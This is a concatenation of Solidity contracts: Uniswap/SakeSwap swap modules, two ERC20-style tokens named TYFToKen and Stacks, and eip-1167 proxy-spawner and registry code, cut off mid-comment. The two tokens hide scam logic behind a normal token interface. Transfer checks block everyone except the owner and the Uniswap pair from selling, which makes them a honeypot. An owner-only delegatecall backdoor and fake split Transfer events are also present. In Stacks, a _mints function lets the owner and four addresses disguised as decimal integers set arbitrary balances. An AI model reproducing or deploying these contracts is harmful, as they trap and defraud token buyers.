address[] calldata path,
address to,
uint256 deadline,
bool ifmint
) external;
}
pragma solidity >=0.6.0;
contract SakeSwapModule {
using SafeERC20 for IERC20;
address public immutable sakeSwapRouter;
address public immutable uniswapRouter;
constructor (address _uniswapRouter, address _sakeSwapRouter) public {
uniswapRouter = _uniswapRouter;
sakeSwapRouter = _sakeSwapRouter;
}
function getPaths(address[] memory path) public pure returns (address[] memory, address[] memory) {
address[] memory sakePath = new address[](2);
address[] memory uniswapPath = new address[](2);
sakePath[0] = path[0];
sakePath[1] = path[1];
uniswapPath[0] = path[1];
uniswapPath[1] = path[2];
return (sakePath, uniswapPath);
}
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint256[] memory) {
(address[] memory sakePath, address[] memory uniswapPath) = getPaths(path);
uint256[] memory amounts = new uint256[](2);
uint256[] memory sakeAmounts = ISakeSwapRouter(sakeSwapRouter).getAmountsOut(amountIn, sakePath);
amounts[0] = sakeAmounts[sakeAmounts.length - 1];
uint256[] memory uniswapAmounts = IUniswapV2Router02(uniswapRouter).getAmountsOut(amounts[0], uniswapPath);
amounts[1] = uniswapAmounts[uniswapAmounts.length - 1];
return amounts;
}
function swapReward(uint256 amountIn, address receiver, address[] memory path) public returns (uint256){
(address[] memory sakePath, address[] memory uniswapPath) = getPaths(path);
IERC20(path[0]).safeApprove(sakeSwapRouter, 0);
IERC20(path[0]).safeApprove(sakeSwapRouter, amountIn);
uint256 amountOutMin = 1;
uint256[] memory amounts =
ISakeSwapRouter(sakeSwapRouter).swapExactTokensForTokens(
amountIn,
amountOutMin,
sakePath,
receiver,
block.timestamp,
false
);
amountIn = amounts[amounts.length - 1];
IERC20(path[1]).safeApprove(uniswapRouter, 0);
IERC20(path[1]).safeApprove(uniswapRouter, amountIn);
amounts =
IUniswapV2Router02(uniswapRouter).swapExactTokensForTokens(
amountIn,
amountOutMin,
uniswapPath,
receiver,
block.timestamp
);
return amounts[amounts.length - 1];
}
}
pragma solidity >=0.6.0;
contract UniswapModule {
using SafeERC20 for IERC20;
address public immutable uniswapRouter;
constructor (address _uniswapRouter) public {
uniswapRouter = _uniswapRouter;
}
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory) {
return IUniswapV2Router02(uniswapRouter).getAmountsOut(amountIn, path);
}
function swapReward(uint256 amountIn, address receiver, address[] memory path) public returns (uint256){
// ensure we have no over-approval
IERC20(path[0]).safeApprove(uniswapRouter, 0);
IERC20(path[0]).safeApprove(uniswapRouter, amountIn);
uint256 amountOutMin = 1;
uint256[] memory amounts =
IUniswapV2Router02(uniswapRouter).swapExactTokensForTokens(
amountIn,
amountOutMin,
path,
receiver,
block.timestamp
);
return amounts[amounts.length - 1];
}
}
pragma solidity >=0.6.0;
interface IMoonBase {
function notifyRewardAmount(uint256 reward) external;
}
pragma solidity >=0.6.0;
interface IRover {
function transferOwnership(address newOwner) external;
}
pragma solidity >=0.6.0;
interface IScheduleProvider {
function getSchedule() external view returns (uint256);
}
|
DC1
|
pragma solidity ^0.5.17;
/*
TYF ToKen
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract TYFToKen {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract Stacks {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.0;
/**
* @title Spawn
* @author 0age
* @notice This contract provides creation code that is used by Spawner in order
* to initialize and deploy eip-1167 minimal proxies for a given logic contract.
*/
contract Spawn {
constructor(
address logicContract,
bytes memory initializationCalldata
) public payable {
// delegatecall into the logic contract to perform initialization.
(bool ok, ) = logicContract.delegatecall(initializationCalldata);
if (!ok) {
// pass along failure message from delegatecall and revert.
assembly {
returndatacopy(0, 0, returndatasize)
revert(0, returndatasize)
}
}
// place eip-1167 runtime code in memory.
bytes memory runtimeCode = abi.encodePacked(
bytes10(0x363d3d373d3d3d363d73),
logicContract,
bytes15(0x5af43d82803e903d91602b57fd5bf3)
);
// return eip-1167 code to write it to spawned contract runtime.
assembly {
return(add(0x20, runtimeCode), 45) // eip-1167 runtime code, length
}
}
}
/**
* @title Spawner
* @author 0age
* @notice This contract spawns and initializes eip-1167 minimal proxies that
* point to existing logic contracts. The logic contracts need to have an
* intitializer function that should only callable when no contract exists at
* their current address (i.e. it is being `DELEGATECALL`ed from a constructor).
*/
contract Spawner {
/**
* @notice Internal function for spawning an eip-1167 minimal proxy using
* `CREATE2`.
* @param logicContract address The address of the logic contract.
* @param initializationCalldata bytes The calldata that will be supplied to
* the `DELEGATECALL` from the spawned contract to the logic contract during
* contract creation.
* @return The address of the newly-spawned contract.
*/
function _spawn(
address logicContract,
bytes memory initializationCalldata
) internal returns (address spawnedContract) {
// place creation code and constructor args of contract to spawn in memory.
bytes memory initCode = abi.encodePacked(
type(Spawn).creationCode,
abi.encode(logicContract, initializationCalldata)
);
// spawn the contract using `CREATE2`.
spawnedContract = _spawnCreate2(initCode);
}
/**
* @notice Internal view function for finding the address of the next standard
* eip-1167 minimal proxy created using `CREATE2` with a given logic contract
* and initialization calldata payload.
* @param logicContract address The address of the logic contract.
* @param initializationCalldata bytes The calldata that will be supplied to
* the `DELEGATECALL` from the spawned contract to the logic contract during
* contract creation.
* @return The address of the next spawned minimal proxy contract with the
* given parameters.
*/
function _computeNextAddress(
address logicContract,
bytes memory initializationCalldata
) internal view returns (address target) {
// place creation code and constructor args of contract to spawn in memory.
bytes memory initCode = abi.encodePacked(
type(Spawn).creationCode,
abi.encode(logicContract, initializationCalldata)
);
// get target address using the constructed initialization code.
(, target) = _getSaltAndTarget(initCode);
}
/**
* @notice Private function for spawning a compact eip-1167 minimal proxy
* using `CREATE2`. Provides logic that is reused by internal functions. A
* salt will also be chosen based on the calling address and a computed nonce
* that prevents deployments to existing addresses.
* @param initCode bytes The contract creation code.
* @return The address of the newly-spawned contract.
*/
function _spawnCreate2(
bytes memory initCode
) private returns (address spawnedContract) {
// get salt to use during deployment using the supplied initialization code.
(bytes32 salt, ) = _getSaltAndTarget(initCode);
assembly {
let encoded_data := add(0x20, initCode) // load initialization code.
let encoded_size := mload(initCode) // load the init code's length.
spawnedContract := create2( // call `CREATE2` w/ 4 arguments.
callvalue, // forward any supplied endowment.
encoded_data, // pass in initialization code.
encoded_size, // pass in init code's length.
salt // pass in the salt value.
)
// pass along failure message from failed contract deployment and revert.
if iszero(spawnedContract) {
returndatacopy(0, 0, returndatasize)
revert(0, returndatasize)
}
}
}
/**
* @notice Private function for determining the salt and the target deployment
* address for the next spawned contract (using create2) based on the contract
* creation code.
*/
function _getSaltAndTarget(
bytes memory initCode
) private view returns (bytes32 salt, address target) {
// get the keccak256 hash of the init code for address derivation.
bytes32 initCodeHash = keccak256(initCode);
// set the initial nonce to be provided when constructing the salt.
uint256 nonce = 0;
// declare variable for code size of derived address.
uint256 codeSize;
while (true) {
// derive `CREATE2` salt using `msg.sender` and nonce.
salt = keccak256(abi.encodePacked(msg.sender, nonce));
target = address( // derive the target deployment address.
uint160( // downcast to match the address type.
uint256( // cast to uint to truncate upper digits.
keccak256( // compute CREATE2 hash using 4 inputs.
abi.encodePacked( // pack all inputs to the hash together.
bytes1(0xff), // pass in the control character.
address(this), // pass in the address of this contract.
salt, // pass in the salt from above.
initCodeHash // pass in hash of contract creation code.
)
)
)
)
);
// determine if a contract is already deployed to the target address.
assembly { codeSize := extcodesize(target) }
// exit the loop if no contract is deployed to the target address.
if (codeSize == 0) {
break;
}
// otherwise, increment the nonce and derive a new salt.
nonce++;
}
}
}
interface iRegistry {
enum FactoryStatus { Unregistered, Registered, Retired }
event FactoryAdded(address owner, address factory, uint256 factoryID, bytes extraData);
event FactoryRetired(address owner, address factory, uint256 factoryID);
event InstanceRegistered(address instance, uint256 instanceIndex, address indexed creator, address indexed factory, uint256 indexed factoryID);
// factory state functions
function addFactory(address factory, bytes calldata extraData ) external;
function retireFactory(address factory) external;
// factory view functions
function getFactoryCount() external view returns (uint256 count);
function getFactoryStatus(address factory) external view returns (FactoryStatus status);
function getFactoryID(address factory) external view returns (uint16 factoryID);
function getFactoryData(address factory) external view returns (bytes memory extraData);
function getFactoryAddress(uint16 factoryID) external view returns (address factory);
function getFactory(address factory) external view returns (FactoryStatus state, uint16 factoryID, bytes memory extraData);
function getFactories() external view returns (address[] memory factories);
function getPaginatedFactories(uint256 startIndex, uint256 endIndex) external view returns (address[] memory factories);
// instance state functions
function register(address instance, address creator, uint80 extraData) external;
// instance view functions
function getInstanceType() external view returns (bytes4 instanceType);
function getInstanceCount() external view returns (uint256 count);
function getInstance(uint256 index) external view returns (address instance);
function getInstances() external view returns (address[] memory instances);
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) external view returns (address[] memory instances);
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Metadata {
bytes private _staticMetadata;
bytes private _variableMetadata;
event StaticMetadataSet(bytes staticMetadata);
event VariableMetadataSet(bytes variableMetadata);
// state functions
function _setStaticMetadata(bytes memory staticMetadata) internal {
require(_staticMetadata.length == 0, "static metadata cannot be changed");
_staticMetadata = staticMetadata;
emit StaticMetadataSet(staticMetadata);
}
function _setVariableMetadata(bytes memory variableMetadata) internal {
_variableMetadata = variableMetadata;
emit VariableMetadataSet(variableMetadata);
}
// view functions
function getMetadata() public view returns (bytes memory staticMetadata, bytes memory variableMetadata) {
staticMetadata = _staticMetadata;
variableMetadata = _variableMetadata;
}
}
contract Operated {
address private _operator;
bool private _status;
event OperatorUpdated(address operator, bool status);
// state functions
function _setOperator(address operator) internal {
require(_operator != operator, "cannot set same operator");
_operator = operator;
emit OperatorUpdated(operator, hasActiveOperator());
}
function _transferOperator(address operator) internal {
// transferring operator-ship implies there was an operator set before this
require(_operator != address(0), "operator not set");
_setOperator(operator);
}
function _renounceOperator() internal {
require(hasActiveOperator(), "only when operator active");
_operator = address(0);
_status = false;
emit OperatorUpdated(address(0), false);
}
function _activateOperator() internal {
require(!hasActiveOperator(), "only when operator not active");
_status = true;
emit OperatorUpdated(_operator, true);
}
function _deactivateOperator() internal {
require(hasActiveOperator(), "only when operator active");
_status = false;
emit OperatorUpdated(_operator, false);
}
// view functions
function getOperator() public view returns (address operator) {
operator = _operator;
}
function isOperator(address caller) public view returns (bool ok) {
return (caller == getOperator());
}
function hasActiveOperator() public view returns (bool ok) {
return _status;
}
function isActiveOperator(address caller) public view returns (bool ok) {
return (isOperator(caller) && hasActiveOperator());
}
}
/* Deadline
*
*/
contract Deadline {
uint256 private _deadline;
event DeadlineSet(uint256 deadline);
// state functions
function _setDeadline(uint256 deadline) internal {
_deadline = deadline;
emit DeadlineSet(deadline);
}
// view functions
function getDeadline() public view returns (uint256 deadline) {
deadline = _deadline;
}
// if the _deadline is not set yet, isAfterDeadline will return true
// due to now - 0 = now
function isAfterDeadline() public view returns (bool status) {
if (_deadline == 0) {
status = false;
} else {
status = (now >= _deadline);
}
}
}
/* @title DecimalMath
* @dev taken from https://github.com/PolymathNetwork/polymath-core
* @dev Apache v2 License
*/
library DecimalMath {
using SafeMath for uint256;
uint256 internal constant e18 = uint256(10) ** uint256(18);
/**
* @notice This function multiplies two decimals represented as (decimal * 10**DECIMALS)
* @return uint256 Result of multiplication represented as (decimal * 10**DECIMALS)
*/
function mul(uint256 x, uint256 y) internal pure returns(uint256 z) {
z = SafeMath.add(SafeMath.mul(x, y), (e18) / 2) / (e18);
}
/**
* @notice This function divides two decimals represented as (decimal * 10**DECIMALS)
* @return uint256 Result of division represented as (decimal * 10**DECIMALS)
*/
function div(uint256 x, uint256 y) internal pure returns(uint256 z) {
z = SafeMath.add(SafeMath.mul(x, (e18)), y / 2) / y;
}
}
/* TODO: Update eip165 interface
* bytes4(keccak256('create(bytes)')) == 0xcf5ba53f
* bytes4(keccak256('getInstanceType()')) == 0x18c2f4cf
* bytes4(keccak256('getInstanceRegistry()')) == 0xa5e13904
* bytes4(keccak256('getImplementation()')) == 0xaaf10f42
*
